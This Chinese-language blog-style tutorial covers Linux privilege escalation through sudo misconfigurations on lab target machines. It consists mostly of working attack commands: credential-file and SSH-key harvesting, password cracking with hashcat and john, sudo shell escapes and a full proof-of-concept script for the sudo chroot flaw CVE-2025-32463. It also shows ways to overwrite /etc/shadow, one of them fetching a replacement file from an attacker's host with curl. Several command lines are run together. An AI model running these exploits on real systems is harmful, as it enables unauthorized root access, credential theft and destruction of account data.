本文最后更新于 2026-04-17T00:21:13+08:00
Linux提权原理 Linux提权主要分为内核漏洞提权 ,**/etc/passwd 提权, Docker提权, 定时任务提权, SUID提权以及 sudo提权**。内核提权的优点是针对存在漏洞的内核版本,通常可通用利用,缺点是稳定性差,易导致shell丢失或系统崩溃。
常见的提权思路
信息收集:上传信息收集脚本
枚举系统内核和配置
结合系统开启的服务进行针对性提权
Sudo提权概述 在Linux系统中,sudo命令用于让普通用户以其他用户(通常是root)的身份执行命令。正常情况下,执行sudo需要输入用户自己的密码,但也有可能管理员在sudoers文件中配置某些用户为无需密码(NOPASSWD)即可执行。如果这些配置不当,攻击者可能利用它们执行高权限命令,从而实现本地提权,因此 sudo 配置错误常常是提权的关键入口之一
基础知识 常用命令 1 2 3 4 5 6 7 sudo -l whoami id ip a su uname -a sudo -V | grep version
Tip hash破解
1 2 hashcat -m 1410 哈希值:WingFTP /usr/share/wordlists/rockyou.txt john shadow_hash –wordlist=/usr/share/wordlists/rockyou.txt
无需密码root执行
1 sudo -l:(root)NOPASSWD:/usr/bin
提升命令行交互性
1 python3 -c "import pty;pty.spawn('/bin/bash')"
其他交互式命令
1 /usr/bin/script -qc /bin/bash /dev/null
权限划分 用户和组 用户组为选定的用户提供了一种彼此共享文件的简便方法。还能使系统管理员可以更有效地管理用户权限,因为他们可以将权限分配给组而不是单个用户
系统管理员权限 root账户,UID为0,拥有所有系统权限
系统用户 Linux为满足自身系统管理所内建的账号,通常在安装过程中自动创建,不能用于登录操作系统
自定义用户 由root管理员创建供用户登录系统进行操作使用的账号,UID在500以上,类似于Windows系统中users用户组中的账户
在Linux中的每个用户必须属于一个组,不能独立于组外在Linux中每个文件有所有者、所在组
用户组的信息可以在**/etc/group**中查看
常见文件 /etc/passwd文件 在Linux的/etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改,以完成对用户的管理工作
可查看内容:用户名,密码,用户ID,组ID,用户说明,家目录,登陆之后shell
/etc/shadow文件 /etc/shadow文件是Linux系统中用于存储用户加密密码及相关账号安全信息的配置文件,它是/etc/passwd的安全扩展
可查看内容:用户名,加密密码,密码最后一次修改日期,两次密码的修改时间间隔,密码修改到期到的警告天数,密码过期之后的宽限天数,账号失效时间
文件权限 在Linux系统中,一切皆文件,包括普通文件、目录、设备文件、套接字等。文件权限通过rwx(读、写、执行)三种标志进行控制.
对于目录来说,r表示可以查看该目录下的文件列表(如使用ls命令),w表示可以在该目录下添加、删除、重命名等操作,而x则表示是否可以进入该目录成为当前工作目录,如果缺少x权限,即使拥有w权限,也无法向目录内写入文件
查看文件的目录
分析每个符号代表的意思 (以-rw-r–r– 1 root root为例)
第一个位置可以有以下符号
-:表示普通文件
d:表示目录
l:表示软链接
b:表示块文件
c:表示字符设备
这里就表示普通文件
剩下的表示的是文件所属的权限
rw-:表示文件所拥有者的权限
第一个r–:表示文件所在组的用户权限
第二个r–:表示其他组的用户权限
数据1
如果文件类型为目录,表示目录下的子目录个数
如果文件类型是普通文件,表示这个文件的硬链接个数
这里表示的是这个文件的硬链接个数
后面两个root
第一个root表示该文件所有者为root用户
第二个表示该文件所在组为root组
其他特殊权限 Linux系统中,除了常规的rwx权限外,还存在SUID,SGID和SBIT,常用于程序或目录的特殊操作控制
SUID 应用于可执行文件,当该文件被执行时,临时赋予执行者”文件所有者“的权限而不是执行者本人的权限,常用于如passwd等系统目录
SGID 作用类似于SUID,不过是切换到”文件所属组“的权限;若用于目录,则新创建的文件会自动继承该目录的所属组
SBIT 主要用于目录,表示只有文件的所有者或管理员才有权限删除或修改该目录下的文件,常见于/tmp牡蛎,用于保护用户的临时文件不被其他用户删除
信息收集 自动化工具 常用工具:linpeas
下载网址:https://github.com/peass-ng/PEASS-ng/releases
需要利用wget将这个工具传到自己的靶机服务器上
先在kali上起一个服务
将linpeas.sh上传到靶机
1 2 wget http://10.10.17.116:8080/linpeas.shchmod +x linpeas.sh
手动收集 查看系统信息 1 2 3 4 5 6 7 uname -a uname -r uname -n uname -m cat /proc/version cat /etc/*-release cat /proc/cpuinfo
用户和群组 1 2 3 4 5 6 7 8 9 10 cat /etc/passwd cat /var/mail/rootcat /var/spool/mail/root cat /etc/group grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1 }' whoami w last lastlog lastlog -u
查找明文密码 1 2 3 4 grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password "
ssh私钥 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 cat ~/.ssh/authorized_keyscat ~/.ssh/identity.pubcat ~/.ssh/identitycat ~/.ssh/id_rsa.pubcat ~/.ssh/id_rsacat ~/.ssh/id_dsa.pubcat ~/.ssh/id_dsacat /etc/ssh/ssh_configcat /etc/ssh/sshd_configcat /etc/ssh/ssh_host_dsa_key.pubcat /etc/ssh/ssh_host_dsa_keycat /etc/ssh/ssh_host_rsa_key.pubcat /etc/ssh/ssh_host_rsa_keycat /etc/ssh/ssh_host_key.pubcat /etc/ssh/ssh_host_key
提权命令 常用命令 1 2 3 4 5 6 7 8 sudo python -c 'import os; os.system("/bin/bash")' sudo /bin/bash sudo /bin/sh sudo perl -e 'exec "/bin/bash"' sudo vim -c '!sh' sudo vi -c '!sh' sudo find / -exec /bin/bash \; sudo awk 'BEGIN {system("/bin/sh")}'
sudo version 1 2 sudo -V | grep version sudo -u#-1 /bin/bash
sudo python 1 sudo python -c 'import os; os.system("/bin/bash")'
sudo chwoot CVE-2025-32463:影响版本1.9.14 <= sudo <= 1.9.17
在靶机中运行脚本可获取root权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #生成一个c文件 #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); #将进程的真实用户id和有效用户id设置为0,进程变为root用户 setregid(0,0); chdir("/"); #改变当前工作目录为根目录 execl("/bin/bash", "/bin/bash", NULL); #启动一个新的bash,程序将成为root } EOF mkdir -p woot/etc libnss_echo "passwd: /woot1337" > woot/etc/nsswitch.confcp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.cecho "woot!" sudo -R woot wootrm -rf ${STAGE?}
sudo apt sudo -l 列出枚举项包含apt项
1 sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
sudo apache2 sudo -l有apache2
1 sudo apache2 -f /etc/shadow
拿到hash加密的root密码
1 sudo john hash_passwd --wordlist=/usr/share/wordlists/rockyou.txt
sudo ash sudo -l
获取完整交互式shell
1 python3 -c "import pty;pty.spawn('/bin/bash')"
sudo awk 传递脚本的方式
1 2 sudo -lsudo awk 'BEGIN {system("/bin/bash")}'
sudo base64 base32 base48同理
1 2 3 4 sudo -lcat /etc/shadow a=/etcsudo base64 "$a " | base64 -d
拿到shadow之后,使用john破解
sudo bash 1 2 3 sudo -lsudo bash sudo csh/dash/sh/tclsh/zsh
sudo cp 这个操作有一定风险,会导致靶机中的shadow文件的内容都被覆盖掉且不可恢复
原理就是将自己创建的123456覆盖掉之前的shadow文件
将修改的root信息保存
在靶机中
1 2 3 4 5 6 7 8 9 10 11 12 a=/etc/shadow TF=$(mktemp )echo '修改好的root信息' > $TF echo $TF /tmp/tmp.RmdhLEDVdOcat /tmp/tmp.RmdhLeDVdO //输出修改好的root信息sudo /usr/bin/cp $TF $a su 123456 成功
sudo cpulimit 1 2 3 4 sudo -lsudo cpulimit -l 100 -f /bin/bash -l:限制cpu使用率 -f:指定一个程序受到-l参数的限制
sudo curl
将得到的root信息存储到shadow_entry文件
1 2 sudo php -S 0:80 在kali本地80端口开启一个php服务(其他端口也行,只要没有被占用)sudo curl http://kali_ip/shadow_entry -o /etc/shadow
sudo date 1 2 3 4 sudo -lsudo date -f /etc/shadow
sudo dd 1 2 sudo -lecho '生成的root信息' | sudo dd of=/etc/shadow
sudo dstat 利用点:dstat可以指定插件名来执行外部的插件
1 2 3 4 5 6 7 8 9 find / -name dstat -type d 2>/dev/null /usr/share/doc/dstat /usr/share/dstatls /usr/share/dstat vim dstat_BinBash.py import os;os.execv("/bin/bash" ,["bash" ])cp dstat_BinBash.py /usr/share/dstat/dstat_BinBash.pysudo dstat --BinBash 成功
sudo ed